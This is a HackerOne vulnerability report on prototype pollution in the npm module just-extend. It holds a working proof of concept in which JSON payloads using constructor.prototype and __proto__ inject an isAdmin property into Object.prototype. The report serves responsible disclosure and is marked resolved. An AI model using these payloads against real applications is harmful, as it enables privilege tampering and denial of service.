Prototype pollution attack in just-extend
Medium
Vulnerability Details
I would like to report a prototype pollution vulnerability in just-extend
It allows an attacker to inject properties on Object.prototype.
# Module
**module name:** just-extend
**version:** 2.1.0, and 3.0.0
**npm page:** `https://www.npmjs.com/package/just-extend`
## Module Description
Part of a library of zero-dependency npm modules that do just do one thing.
Guilt-free utilities for every occasion.
## Module Stats
723,414 downloads in the last week
# Vulnerability
## Vulnerability Description
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The functions `just-extend` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
## Steps To Reproduce:
Craft an object of form `{constructor: {prototype: {...}}}` or `{__proto__: {...}}` and send it to `just-extend`.
```javascript
var extend = require('just-extend');
var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
extend(true, {}, payload1);
console.log({}.isAdmin); // true
var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}');
extend(true, {}, payload2);
console.log({}.isAdmin2); // true
```
# Wrap up
- I contacted the maintainer to let them know: [Y]
- I opened an issue in the related repository: [N]
## Impact
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443
Actions
View on HackerOneReport Stats
- Report ID: 430291
- State: Closed
- Substate: resolved
- Upvotes: 4